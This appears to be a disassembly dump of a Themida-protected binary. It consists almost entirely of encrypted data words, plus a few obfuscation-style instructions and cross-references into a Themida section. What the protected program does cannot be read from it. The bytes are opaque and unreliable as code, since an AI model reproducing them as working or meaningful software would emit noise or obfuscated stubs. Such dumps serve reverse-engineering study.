3929D827h, 1FB5DE7Fh, 3, 5CBFEB63h, 0E3325103h dd 4A9736F0h, 0E5B6214h, 338201BBh, 0F5E651Fh, 338201BBh dd 19686719h, 1E6B12C4h, 9451702Ah, 81E68956h, 4C6h, 4EE8300h dd 5C243487h, 53243C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 8952241Ch, 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch dd 1E5ABE56h, 0A0BB6A57h, 19BBE48h, 24348BF3h, 4C481h dd 8B540000h, 0C4812434h, 4, 9D968h, 241C8900h, 0FF08468Fh dd 815E2434h, 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFFBD5A4h dd 0C1364C97h, 1574C9B8h, 0FFC50306h, 0C70974E0h, 9230255Ah dd 0D2149C03h, 2DB03D0Dh, 8BED3D67h, 9384541Eh, 55F4416Ch dd 0EF732F1Ch, 0C0D6B10h, 81FA6007h, 0CD431A71h, 0EF0F4805h dd 0CB091848h, 0DA048524h, 8E75DD37h, 0EF1AAA4Ah, 134BBC02h dd 0F1C12C46h, 614C7149h, 512DC155h, 9BAF737Ah, 9C13A16Dh dd 0DCD5A938h, 364EDA01h, 0A31A9D2Bh, 9D50A018h, 271E072Bh dd 0B0EE0048h, 0F03A0352h, 2AE976h, 0F2560000h, 57F0h dd 9 dup(0) dd 536E9h, 4F923400h, 6DA45CDBh, 8AC36AF1h, 67A447CEh dd 81C064F3h, 31A3DFCDh, 0D8C407Fh, 189F1B5Ch, 0F4833772h dd 0A7A2164Bh, 96CD6D5h, 2B886BD9h, 447932A1h, 0ED55542Ah dd 96DCC7Ch, 374E502Dh, 0C6B34D95h, 0EB1675ACh, 1BC45307h dd 0E49B3AE6h, 0F3967014h, 74178EB2h, 0BE74B37h, 0A61C0FF1h dd 3E6DCCF5h, 271905E2h, 9BB0F194h, 0ED966820h, 8C68CCB8h dd 259D8C72h, 0C16DCCF5h, 0E3968865h, 43FC25BCh, 671B9A0Eh dd 0F5CF7336h, 4B276DCCh, 8F7FC81Eh, 0D5F1C773h, 0F12CE259h dd 7687EEDFh, 140048D0h, 0A1B6F195h, 17D08BE5h, 9B4E05E2h dd 423CA65Ah, 15D56D1Ch, 1C0F6DCCh, 6DCC15A6h, 2E2AE23Eh dd 0C196D577h, 2CE243E2h, 0A01DFF1h, 6DCC15B8h, 73EB005Ch dd 35F86489h, 0EBD77563h, 609E450Eh, 35EC4ED9h, 796FCFFCh dd 0AA1813EDh, 4A6DCCCFh, 57FEF2CEh, 6DCCCFEEh, 0F6F39231h dd 336A831Bh, 46FBh, 79325100h, 0BB095044h, 846DCC7Ch dd 0A71B0EF0h, 3F6DCC7Ch, 9E3506E3h, 6B35925Bh, 17233h dd 32D80000h, 0DD4F437Ah, 0B86CA95Eh, 6C149FBCh, 0A54A4135h dd 0A201BC68h, 986A2203h, 68CCB8F1h, 0A249D08Ch, 0D75BF16Dh dd 70245D04h, 4B95C7F4h, 8673DECAh, 0FE46EA71h, 36F61D5Dh dd 564A26F6h, 0F83DE7E4h, 0BA9FDA90h, 5126A13Eh, 0F7ABE28Ah dd 686201A2h, 0B82F9396h, 6BC76DCCh, 0E423C58Eh, 53AF168h dd 9AD37A11h, 6F06BDE6h, 6A70578Ah, 683733h, 92490000h dd 0FDC7A4D9h, 0B94996D7h, 0A882C012h, 256408D3h, 85DB224Bh dd 1D0944EAh, 11223419h, 56753146h, 9F5B6DAFh, 0F4427004h dd 0B5254C7h, 0CEF2A86Ah, 99388722h, 0F9B5F498h, 0E38FCE82h dd 0E023FE4h, 52972E45h, 336B098Fh, 306Fh, 7E32DD00h, 8E34533Fh dd 734C9F53h, 7EB355DCh, 0CC7C378Bh, 6F53CF6Dh, 7A322DBBh dd 0BF084F43h, 806DCC7Ch, 6C45A03Fh, 4C336B35h, 1, 427B32BEh dd 0C5FAB128h, 867855D1h, 6F23580Fh, 0EE37CE65h, 0FFECFE37h dd 6C22DF3Dh, 0B70BFE49h, 4F6DCCD7h, 64DAEFD3h, 9E3F8FFh dd 0FCADF922h, 96956B67h, 943CDD2Ch, 8B8F6CC8h, 5F134EF4h dd 3933DF03h, 0E38FCE82h, 3AF16A7Fh, 19D24905h, 0DB6930E4h dd 98943CDDh, 53EF9AC4h, 0B3943CDDh, 6201A2B7h, 73E71CC3h dd 0F4063BE4h, 0FEB359F7h, 2DDC8492h, 943CC295h, 0FCD1F571h dd 623B300Ah, 111DF1A8h, 2A93247h, 0DF84D9CDh, 0F52AE140h dd 0FA2B8639h, 480B397Ah, 81000001h, 4C1EBD5Ch, 0FC266C5Dh dd 0F29E7A67h, 43F72CD3h, 2AD60BB4h, 0D3BFF4ABh, 8C4EE576h dd 0ADF18CDh, 0E9659A51h, 629F4417h, 0AA21A188h, 69C59423h dd 60428B94h, 5222397Bh, 68000000h, 235E04D7h, 0D0C4FDA4h dd 0D3E67754h, 0AF33F608h, 47EDCC7Ch, 0D27037EBh, 0FBEDCC7Ch dd 528B42F9h, 500FA675h, 4D3C0ECDh, 6DCC7CD5h, 0E7B975F1h dd 7D91D6E6h, 3D812AD6h, 0F8131E81h, 0ED5C7155h, 0C7h dd 66A34813h, 0C5A29281h, 4E2B6F39h, 1EBD5C76h, 0A7324Ch dd 94F5AECBh, 7267FC0Ch, 0B96DA65Bh, 93ED99BDh, 70E722C8h dd 919581B8h, 1348FFBCh, 32672097h, 1AEAA118h, 691D3974h dd 0E91D6E04h, 4A26773Ah, 3CFF712Dh, 0E4564A87h, 23CC9D25h dd 0D9FD7994h, 0CDBC0704h, 0CB39423h, 0BEF3AC75h, 0BD1EB50Ah dd 5E8DE8A3h, 6A639E16h, 48FFA0C2h, 9AF42613h, 0D512B574h dd 72284521h, 0D48B0AF6h, 52E1F39Fh, 5E7D9CB3h, 4418CD8Ch dd 0B5B1659Ch, 6C81E591h, 0AF816A94h, 9C6AB082h, 0DFDE7DEDh dd 0B496A3FAh, 7BDFC374h, 0F00DE919h, 23955833h, 10EE1094h dd 892A919h, 2AD14D80h, 80089298h, 0D7CBA07Ch, 0D749DF5Bh dd 6F235E04h, 7087D6F3h, 26CA916Bh, 10EE12E7h, 4DF20EDBh dd 6277B7E5h, 0F9FACEA9h, 0C9A5A667h, 15F692E9h, 32A9596Eh dd 0D155417Ch, 0E18A01F5h, 2A930ACh, 1E427B32h, 8A42372h dd 0F2972AC3h, 792D681Eh, 0AE2DD9FDh, 2C6D20FAh, 2ECD5C48h dd 2D962997h, 0A3D88F96h, 0C2F7B027h, 0D714B7CEh, 6B0AB92Bh dd 70EC21CAh, 141742E9h, 0C5C978AEh, 0E591CA7Fh, 0B1959181h dd 0AD4C5h, 5DDC0000h, 0BDB96DAAh, 6D5F04A0h, 493D8032h dd 0B0649952h, 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h dd 50448126h, 0A75B9439h, 55417830h, 0E68956CFh, 4C681h dd 0EE830000h, 24348704h, 2434895Ch, 7BB68h, 24348900h dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 6852240Ch dd 100F7351h, 0FFEA815Ah, 81FFFFFFh, 806A29C2h, 83C2812Fh dd 89C68598h, 8B545AD6h, 0C483240Ch, 8BA5204h, 81000000h dd 8067D5C2h, 81CA0167h, 8067D5EAh, 5A328967h, 592434FFh dd 4C481h, 34FF0000h, 0C4815E24h, 4, 0FB053FE9h, 0F600F4FFh dd 0B8C6B2CBh, 6157AAAh, 0E0FFC503h, 8FBF45h, 783C2DC5h dd 4095E981h, 1E4CBD7h, 30E086D8h, 72FA25E4h, 60A04F2Ah dd 1A9999EEh, 12613B78h, 3288BF1Eh, 24513CEFh, 1BD59234h dd 1E5B92C7h, 310C95BBh, 171F119Bh, 61433913h, 10150C9Eh dd 2303566h, 3BCDEA41h, 0D4795C9h, 54C85AAEh, 25B045C6h dd 5917FB4h, 75656ABFh, 5B78AABCh, 6D177E93h, 1158EDFFh dd 2021EB3Dh, 30F8BE6Eh, 714B589Bh, 2804AE84h, 6513E5A0h dd 7C988D8Dh, 9E80615h db 3 dup(0) byte_5A3033 db 44h ; DATA XREF: Themida_:0054B510o dd 30C064A0h, 0F2C464D4h, 21799589h, 895B0610h, 1009F58Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 83995E55h, 0D275D543h, 0A59D09h, 0B5890610h dd 6101FB1h, 231985C7h, 5C600610h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 144334C3h dd 29F122C4h, 0F186079h, 85C7D0B7h, 61022C1h, 0 dd 1599BD89h, 0B5FF0610h, 61011EDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 17C35343h, 0D891D65Bh, 52213C4Eh dd 0B995FFF8h, 0F06102Dh, 0B88h, 6E900h, 2F8D0000h, 12AA1367h dd 95FF006Ah, 61031C9h, 68EBC08Bh, 92983D99h, 8EA4E512h dd 0A5B5B76Fh, 54F50C65h, 5C6842D9h, 1686C80Fh, 1C744598h dd 26E73533h, 2FCC9421h, 0A95FD18Ch, 40A13838h, 0F9A80405h dd 2AD04842h, 1865A9C2h, 4CBCCAF8h, 7B9F2425h, 28E81EAh dd 48334170h, 0C358753Bh, 0CF70F089h, 5B9550E2h, 8FE8A2DCh dd 2D71B35h, 0FD53499Fh, 8962C745h, 0CD1A7F11h, 23359D8Dh dd 2AB80610h, 89000000h, 10279985h, 0E806h, 5580000h, 0Dh dd 2AE90389h db 3 dup(0) byte_5A3193 db 0 ; DATA XREF: Themida_:0054D7A0o dd 9 dup(77E600h), 0FF77E600h, 60EBFFh, 17h dup(0) dd 0E9000000h, 0C22h, 0C16E9h, 85E26800h, 0A5E90615h, 68FFFB02h dd 615875Eh, 0FB029BE9h, 87E368FFh, 91E90615h, 56FFFB02h dd 3EBD71B4h, 5CDB4F86h, 69F06CA5h, 46D589C6h, 1E763A2h dd 76B55785h, 519233C2h, 6DA85EDDh, 8CC16AF1h, 28E3DDD0h dd 6BD9019Ah, 32971D7Ah, 0E1523E7Fh, 5C954C0Fh, 0D011B47Fh dd 0DD5C825Ch, 2105F126h, 0CC7CC87Ah, 1B302C6Dh, 0BEB2E7A0h dd 16E823C7h, 23B638D5h, 5D7AE7E2h, 590CCFA1h, 2FDB6722h dd 0DF3B6DCCh, 36130F03h, 0C695CC7Dh, 332FE322h, 0CC2FFE44h dd 361A166Dh, 1B0EF04Ah, 6DCC2FA7h, 4D06E33Fh, 31A85C9Bh dd 0DA54407Fh, 8470AB5Fh, 5B10CBA0h, 0AE53721Eh, 0F468676Ch dd 361A3246h, 0B4F39524h, 38F0E797h, 19A01501h, 0ED01A8C2h dd 0D767F994h, 2F1B2896h, 8B604D00h, 9FC19B97h, 4F2C651Ch dd 29A5DC84h, 5F053FDCh, 0DCF87C28h, 12A70702h, 35F9426h dd 2DFD04E9h, 9A04C25Ah, 21CAC1BDh, 32DA70ECh, 0FD764479h dd 1BC05CCFh, 5E04D78Dh, 0D6F36F23h, 2BF6CA60h, 0B366B22h dd 2Bh, 1BC05C81h, 97D67A41h, 0D4D7EAC2h, 6DCC7C6Eh, 0D71CAA86h dd 3E7F32A9h, 0FDA9E287h, 32C86479h, 4275437Ah, 31408Ah dd 0D78C0000h, 7C4002A9h, 0C8A46DCCh, 15C652B3h, 6ED4D787h dd 0A46DCC7Ch, 0F5D7EAB0h, 4002A9D7h, 6F6DCC7Ch, 9AD3B78Ch dd 4ECAC247h, 0D30AC279h, 5C8A4245h, 5D4C1EBDh, 67FC1FC4h dd 777486E2h, 34EEF469h, 671734D1h, 23968640h, 0F50B6594h dd 23968C36h, 0EF0C6894h, 0DD30B54Ch, 0BD397B4Bh, 1ECh dd 2ABF5C0Fh, 0CC7CC37Fh, 2B47236Dh, 6E3E2F51h, 5F5BE569h dd 9733F00Dh, 6F6DCC0Bh, 49C00AEAh, 0BE70B7Dh, 0A61C0FF1h dd 3E6DCC0Ah, 0FA4B59D9h, 0DF03D859h, 0C67D1C0Ah, 328F1D91h dd 0AF2A4479h, 4A0BDFEh, 96D7CFFDh, 0BBC08F97h, 31D4A987h dd 357036A5h, 9EDB904Bh, 4D703C9h, 534C2160h, 366B218Ah dd 406Ah, 21C59400h, 5C3B11E6h, 0D78D1BC0h, 0CC7C6ED4h dd 1CAA866Dh, 4D7A9D7h, 0F571255Ch, 0CC7CBC06h, 0FFDC586Dh dd 437A3225h, 896D775h, 85B84FEFh, 2418D3A8h, 0CAB6F195h dd 40BB9166h, 2Fh, 1BC05C8Ch, 97D67A41h, 782C6D20h, 0D745DFFCh dd 0CC7C6ED4h, 0EAB0A46Dh, 0A9D7F5D7h, 0CC7C4002h, 0B3C8A46Dh dd 37498028h, 0A6C3FEA4h, 5C8A421Eh, 5B4E20BFh, 6DCC7CF3h dd 64630F0Bh, 34D286BBh, 2A447932h, 7CED5554h, 24096DCCh dd 21A7B5ACh, 46233FEEh, 0D7CFFD7Eh, 7C4002A9h, 0C8A46DCCh dd 1FC652B3h, 0CC7CD66Ch, 73322E6Dh, 0EAB094CFh, 4E1D96D7h dd 0C2E06249h, 28046DCCh, 0E6A5643h, 0F6E78539h, 366B222Bh dd 6B0Bh, 0C05C8100h, 6C1F411Bh, 6DCC7CD6h, 8F15322Eh dd 4002A9D7h, 0A46DCC7Ch, 0B3CDB3C8h, 2D4A7F28h, 0CC7CCC76h dd 7E4C286Dh, 78C4A9D7h, 0CEC4E388h, 32E5BF9Ch, 2B03A87Ah dd 0EA463A79h, 9F161A06h, 694B0EBh, 0C67B3E42h, 0C09D998Dh dd 32A9D7E4h, 0E959407Dh, 0D6DCC7Ch, 538D3C11h, 0B3000000h dd 0F7AC8228h, 866AC6BAh, 0EBC1969Ah, 8D1BC05Ch, 255C04D7h dd 7CB15A71h, 0AB057358h, 0CC749452h, 60E2C9AFh, 0A26DCC9Ah dd 0A9D7E4B2h, 50447932h, 7C9D25D4h, 0FD796DCCh, 3232F8E0h dd 0C801A87Ah, 30E158DCh, 431F03EFh, 0C2FBB229h, 0AF7552CEh dd 5408A42h, 8C000001h, 4E20BF5Ch, 0E75B4E30h, 0FF6DCC7Ch dd 0FD5D4623h, 0E76DCC7Ch, 731EECE6h, 2EDF4EE2h, 193D39EDh dd 0A2473E44h, 0DD0AB873h, 6EEA6DCCh, 3826E52h, 0C9B3275Ch dd 6E225B12h, 0E3E0C5F2h, 9528CF7Bh, 0A9D7ECB8h, 0CC7C4002h dd 0B3C8A46Dh, 7C4A7F28h, 0C05CCFFDh, 688CCD80h, 1C16896h dd 0E56DCC7Ch, 35D87489h, 222BF697h, 3B0B366Bh, 81000000h dd 411BC05Ch, 0BA3E0F0Ch, 0CAEEDB12h, 9CAD9A4Eh, 5F0FB78Ah dd 0D794304Dh, 0CC7C6ED4h, 1CAA866Dh, 7A32F5D7h, 96D77543h dd 90376B20h, 54933586h, 58F05B70h, 5B40h, 0C05C8C00h dd 0D67A411Bh, 0D7EAC297h, 7C4002A9h, 2DA46DCCh, 0D0544077h dd 7EF1C7F4h, 8B6ED966h, 239F8A6Eh, 0A16DCCBDh, 0BD76CCBFh dd 9C8E6DCCh, 0CCBD55EDh, 91B5B16Dh, 0AA70E4BCh, 4002A9D7h dd 0A46DCC7Ch, 235C11C8h, 2D6F36Fh, 0D796D728h, 4A9680FFh dd 863EF5D2h, 8A42C94Fh, 0F53B7932h, 3262E2h, 0E05A462Ah dd 2D162EEBh, 0EB00B85Ch, 0CB7FBA70h, 22C3934Ch, 70EB05E1h dd 8F937FBAh, 279DCCBAh, 0F86DCC9Eh, 1661A4Fh, 1C50290Fh dd 0DE91485Fh, 50E3F5A1h, 0AA590BB1h, 4C812A0Bh, 2D620990h dd 90340779h, 0F512B05Bh, 76F26DCCh, 0ADCAA65Ah, 4EF57F09h dd 80B56EB7h, 7B6077CCh, 9639AA61h, 81DD67FCh, 1A78C695h dd 0E89B943Ch, 0D061AC49h, 3941397Ah, 8B000000h, 50447932h dd 0CC7CB909h, 0B6EF966Dh, 0DF14CBCAh, 0D2782F33h, 0DAEEB97h dd 0E9984A76h, 28C9904Ah, 775B964Ch, 9D2A78Bh, 0A1DC9262h dd 0ACC2ABC5h, 0E15EABADh, 0DF6DF106h, 50447932h, 75875463h dd 0F9F9F4B6h, 0BA949067h, 0FE5DE5A4h, 0BDB99426h, 2AC916A0h dd 77EC9FB1h, 8F9E169Dh, 0E4A7B993h, 9E16235Eh, 0E19DBAB6h dd 16230CBAh, 3DD4EF9Eh, 7EC4C799h, 969E1623h, 235DE5A4h dd 0BDB99E16h, 0F2BBC499h, 0D23F90D6h, 28h, 20BF5C38h dd 7CF75B4Eh, 130F6DCCh, 92CB8239h, 984F93B8h, 0BBEEAB0Ch dd 0CC7472D0h, 0BA96926Dh, 12B0199Dh, 1C000000h, 4E20BF5Ch dd 0CC7CF35Bh, 3D0F0B6Dh, 1A8EC77Eh, 1B4408Ch, 1E400000h dd 0CC7CD76Bh, 16332F6Dh, 26C35C8Eh, 0CC7CDF63h, 6332376Dh dd 0B96DF43Ch, 25F3CFF3h, 7932CFFDh, 96D77644h, 7C2F889Ah dd 958B1A3Fh, 75B056D5h, 0EC8A581h, 6004D778h, 0F1A5E086h dd 0C1A55175h, 222AF3ACh, 390A366Bh, 80000000h, 8E1CC35Ch dd 7C6ED4D7h, 0B4866DCCh, 0CC7C4DF5h, 7F32A96Dh, 783E223Eh dd 7B32F5D7h, 8A427442h, 8A5C04D7h, 7BF7ABE2h, 3C868557h dd 0D86DCC7Ch, 30C27F5Ch, 3A000000h, 8E1CC35Ch, 7F32A9D7h dd 0C082293Eh, 426DCC7Ch, 0F5D78412h, 28427B32h, 0DCCFFAB1h dd 6DCC7C66h, 0ACBEA27Eh, 0CC7C45FDh, 0A8C5A16Dh, 328A421Ch dd 0FD764479h, 80C05CCFh, 9D998DCCh, 772B6A1Eh, 3551D7FBh dd 222BF697h, 440B366Bh, 81000000h, 8D1BC05Ch, 0D08E96D7h dd 67548F33h, 18D095FDh, 153135E1h, 7B3E2038h, 0B66D8AC9h dd 6DCC8C0Ch, 0D7BE8CE8h, 437A32F5h, 7B3E4275h, 0D66E8BC8h dd 6B40h, 0D7794000h, 7C5BE7A2h, 5FBB6DCCh, 5CDE6683h dd 1F411BC0h, 510D0A2Eh, 0D7BE7DA2h, 6DCCF36Bh, 0F2BA8F8Bh dd 7C6ED4D7h, 7A646DCCh, 0D9CD0EBFh, 7C14AE5Dh, 74F06DCCh dd 0BB95C157h, 7C5CE6A5h, 21B86DCCh, 0E044306Fh, 0D75DE704h dd 6296D7F5h, 2F77F988h, 5175B056h, 0D209BF7Ch, 9F23E6F8h dd 0B06DCC1Bh, 4ECAC2F7h, 8A42B379h, 235E04D7h, 5DD6F36Fh dd 631F65A9h, 55030738h, 69D68571h, 0BE6DCC18h, 447B3109h dd 0AE557420h, 0DD9E8D79h, 51B47146h, 965AC6A7h, 0ED8413BAh dd 89639E44h, 0DE7E8164h, 68855CE3h, 7C3258EEh, 90365541h dd 0D7ECA155h, 1A55F938h, 61EE79Eh, 7D316DCCh, 0CE1A1542h dd 7D05EB45h, 0C24AA659h, 2E2C336Bh, 9EFFFFFEh, 0CC7C4402h dd 7C9DA96Dh, 84576DCCh, 0D8C1A6DBh, 33D57BB8h, 0EB56E8Bh dd 0F1923302h, 92330255h, 33020CBAh, 255F192h dd 5145233h, 26FB2DCDh, 698D89DBh, 0D44E9497h, 8AE65804h dd 518A2996h, 36DA617Fh, 0AC29E2F7h, 6A5E10BAh, 66EF49EEh dd 9581803Bh, 32204h, 5B9E5000h, 79B058DFh, 568F36C5h dd 73B053E2h, 4D8C40B7h, 0FD6F9B91h, 0C9500C4Bh, 0E473E728h dd 0D047033Eh, 8366E217h, 0F9309279h, 0D7D46BD9h, 4479324Dh dd 87546350h, 0F9F0B675h, 9A8C67F9h, 26FE53EFh, 9BB7B394h dd 0FEDE681Fh, 7A999426h, 16CC8F61h, 0A24E8B40h, 0B3C5A2BEh dd 137B1AF8h, 4C1EFA9Eh, 0E55D4C32h, 19E1978h, 78CC7625h dd 4C289E19h, 0D992492Fh, 0F5B4CAA4h, 9E19784Dh, 26B0CDA9h dd 0DECDF8AFh, 9E197864h, 24DC13B9h, 0D5C1F6ADh, 47487551h dd 0AB3B0C5Eh, 0A514521h, 9E19B1A4h, 0D5A734C3h, 0A37B30ABh dd 0CEABC7FCh, 2C3499D5h, 6EED1394h, 348E7DB8h, 0D0800C33h dd 0A7837754h, 285D06D5h, 0F5B4CAB4h, 800C334Dh, 5BF00074h dd 0DB93C7CDh, 3AF16A7Fh, 2E1F1105h, 6B82FED9h, 30DBF50Eh dd 800CFD92h, 84E1F672h, 95946675h, 8A3978D5h, 0B401F571h dd 0BAA4B625h, 351249FFh, 52FA584Eh, 0D2774280h, 62BEC499h dd 41E37688h, 35120E02h, 1C90C57Eh, 96D57742h, 0EA7186EAh dd 26180C41h, 0A3ABB825h, 0A0CDC597h, 917BE9D8h, 902D7ABh dd 8C593ABDh, 0ACBE1DBCh, 6CEBB9FDh, 38F34586h, 0B6B3E88Ah dd 1ED2EE6Ah, 0E8A342D1h, 0B6B3E85Ah, 68825EBAh, 8392B4C1h dd 3E3B30BCh, 9AD98BB3h, 8D5D8AE6h, 8FACF78h, 1D87BF2Ch dd 9D896688h, 1A60Ch, 0EF32D400h, 0CD04BC3Bh, 0AAE38A11h dd 0C704A72Eh, 0A1E08413h, 91C33F2Dh, 0AD2CA0DFh, 78FFBBFCh dd 942397D2h, 702B6EBh, 0FBCC7635h, 0CB286BD9h, 6004D701h dd 0B2567521h, 0EB7A4F73h, 2A8906CCh, 0BDF6A3D2h, 4EF4C799h dd 0B69ACF78h, 6F9166CAh, 346C5C91h, 15E647E7h, 0AF0B4B38h dd 0CA9167F9h, 363AE627h, 11056121h, 0B4C615A4h, 16CB28F5h dd 7115A49Eh, 11E64A36h, 0A4A81511h, 8A403D37h, 121099Ah dd 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh, 9133C276h dd 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h, 0DF5B9037h dd 0A91910ECh, 4D6BD9FBh, 0BD5CC450h, 115D4C1Eh, 0AD67F9F9h dd 0CAD595A8h, 96C32899h, 0C2CC8E93h, 0D6CAA6F8h, 57D308BFh dd 0FEF227E0h, 0A7B922B1h, 13DA0EE4h, 0B155E49Eh, 0CF0CBF76h dd 0DE9108FAh, 0B107AE98h, 557191F7h, 58E3BD71h, 0EA29DBB3h dd 0C26AF106h, 0A148CF8Bh, 28DC1BCDh, 25B4284Ch, 12894582h dd 98E0845Eh, 70177044h, 0E7D4F0BEh, 12D4957Fh, 0BE7A569Dh dd 84569537h, 2CD80FB5h, 99BDFAADh, 2B20FAC4h, 8ECA148Dh dd 3A01D62Fh, 53E25697h, 0E6B874AFh, 8074AF53h, 530CC7A4h dd 7A2BAA1Eh, 94B0E59Eh, 0A62CCB18h, 0E0503E07h, 0CBD7CB5h dd 0D6D5A7CBh, 942DC03Ch, 1FA366D8h, 0F78072C0h, 2CAB577Bh dd 0B08A3E73h, 0C067DBCEh, 0A37F8072h, 9120CAB6h, 0E7041D58h dd 1A7Ah, 92458600h, 9A8CCD43h, 97C0C9C7h, 6B02F1B2h, 215FB68Eh dd 0C7BBF29Ah, 32B68E6Bh, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 4EC81h, 2C890000h, 81E58924h, 4C5h, 4ED8300h dd 5C242C87h, 5E08950h, 4, 42Dh, 24048700h, 243C895Ch dd 1DF168h, 241C8900h, 480CBFh, 0F0E7812Dh, 55052243h dd 0F14C28BDh, 81D5F772h, 2D52D8EDh, 0DC58176h, 81532C5Eh dd 0E77D28F5h, 5DEF2994h, 13AA68h, 24248900h, 4240481h dd 5B000000h, 24048157h, 3C381F2Bh, 5108438Fh, 381F2BB9h dd 84B293Ch, 2434FF59h, 4C4835Bh db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 4E7E9C50h, 87E2644Ah, 0B80CC1A0h, 6158929h, 0C38BC503h dd 8AA68D8Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0DFB7C9C3h, 12E9954Dh, 0BD000000h dd 885F6A46h, 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h, 9BD8B3Bh dd 89061030h, 1009F58Dh, 68A0F06h, 89000000h, 10284595h dd 1985C706h, 0C061023h, 0E800006Fh, 0Bh, 410E5CD9h, 32DD5D21h dd 233CD04Ah, 100CA195h, 85C75806h, 61022C1h, 0 dd 6860Fh, 95230000h, 61010F9h, 232DB5FFh, 6A0610h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0ED4EEBC3h, 6ABF724Bh, 0D3E781AEh, 0FF1084E5h, 102DB995h dd 6AF806h, 31C995FFh, 0C08B0610h, 69A479EBh, 0FC473DEEh dd 1EB048A2h, 83E3CFD7h, 22FA2CDh, 0B1D28087h, 0A8DA9290h dd 0A9BE38FFh, 0D051F969h, 0C2F707DDh, 0E242DBB4h, 0B3A438C5h dd 0B86F49F3h, 0E31C44C0h, 8A82A2BEh, 0C3322CA7h, 0D5CC7AEBh dd 90F2358h, 9237AD0Ah, 9A689087h, 34913AFFh, 0E7A637D1h dd 0AD866181h, 78A1C07Bh, 0FBF786DBh, 8D7A92F0h, 25B331Ah dd 64F0DDFBh, 89F2BC10h, 7F066101h, 0E9E3D539h, 184h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 40C35747h, 5D0B9580h dd 0F860508Fh, 0E961F38Bh, 5, 0A3AC0D8Fh, 0B58DF5F1h, 6158BC4h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5AC35040h dd 0FF873EBh, 0E84h, 5E96000h, 0D0000000h, 879AE082h, 8D61A8B4h dd 1354E685h, 8E906h, 60C70000h, 3DA751E6h, 0CE94306h dd 78000000h, 720987F1h, 0D3DDC4E5h, 0FFBF47C6h, 60C3FCD0h dd 80DF8B66h, 6661D6DBh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 589A63C3h, 1337B4DEh dd 7E9BBBAh, 0BE000000h, 0F99A6AF3h, 0C1F6D6ECh, 69840F04h dd 60000000h, 12E8h, 0D3C65700h, 5D297DC1h, 22946FD5h dd 40E66161h, 662B12D0h, 0E95BD18Bh, 0Fh, 508B536Fh, 0F308AC44h dd 8B2A0B0Ch, 618480C9h, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh dd 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh dd 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h dd 0E4EB008Bh, 0B8h, 890FCF00h, 7, 1810Fh, 0FFC0000h, 1786h dd 12E900h, 0EF640000h, 34AB4C9Ah, 9E1FF8F3h, 0E8DF6CDAh dd 0CA353CA2h, 0E860Fh, 9E90000h, 0BA000000h, 0E3296BE6h dd 60F61735h, 8C4985C7h, 13F0615h, 12E80001h, 69000000h dd 0FFC2D865h, 0C84DB852h, 0A170A254h, 0BC99E188h, 13E9A5h dd 1C5E0000h, 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 0F7B5399Fh dd 0C0815860h, 5D86h, 1581BA66h, 172368h, 5EDE8B00h, 5E8h dd 0EB6F3200h, 0BA66CE76h, 8B5F7F6Fh, 0FE808h, 51D80000h dd 0B168CD21h, 0EF50BC0Eh, 0CA262E56h, 6850F9Ah, 0F000000h dd 8Ah, 0C1815F00h, 13E56F2Ch, 12BF66h, 96ABF181h, 0B70F41A1h dd 0D4E981D0h, 6610A78Eh, 89B2F2BAh, 0BE808h, 9A300000h dd 153276B7h, 0A3D8AC74h, 8DE281BDh, 5B0D82D2h, 0F04E883h dd 88Eh, 2870F00h, 8B000000h, 1EE83DEh, 27850Fh, 8D0F0000h dd 0Bh, 89E28160h, 0F279C08h, 0E961D8B7h, 29h, 23B35497h dd 4349AFF8h, 7BF963DBh, 9598FBCh, 0DA81666Ch, 5CE9B03Ch dd 1BFFFFFFh, 8031B5ABh, 0A0D1275Ch, 46DA38ABh, 13CE909h dd 4Fh dup(0) dd 0BD830000h, 6101AD9h, 0B6840F01h, 6A000005h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0FBD2C350h, 137FE00Dh, 1800F22h, 0FC000000h, 0AE9h dd 3E780E00h, 1BA1759Ah, 0C6A3EFE3h, 1023E585h, 0DE94306h dd 7A000000h, 0A594280Bh, 0AB9FB2Eh, 557036FDh, 4E8h, 0A5D0F500h dd 0EE9ECh, 8D2B0000h, 31FF77C1h, 53CCF8AAh, 1FA1D196h dd 5E950h, 12E40000h, 8B6B0A97h, 50042444h, 68D0F52h, 0F000000h dd 8Ah, 0F310F00h, 687h, 860F00h, 5A000000h, 0E9008B58h dd 10h, 0A36B7DAh, 0A825C8C4h, 4E08C30h, 0A17BAC25h, 4244489h dd 7E95250h, 60000000h, 0C3AC2D3Bh, 310F8A3Dh, 52505250h dd 585A310Fh, 5250310Fh, 585A310Fh, 585A585Ah, 1800F58h dd 0FC000000h, 1D45B5FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 29392BC3h, 58D0E6F1h dd 6660F914h, 0FF32DBFh, 286h, 615B5100h, 0FE9h, 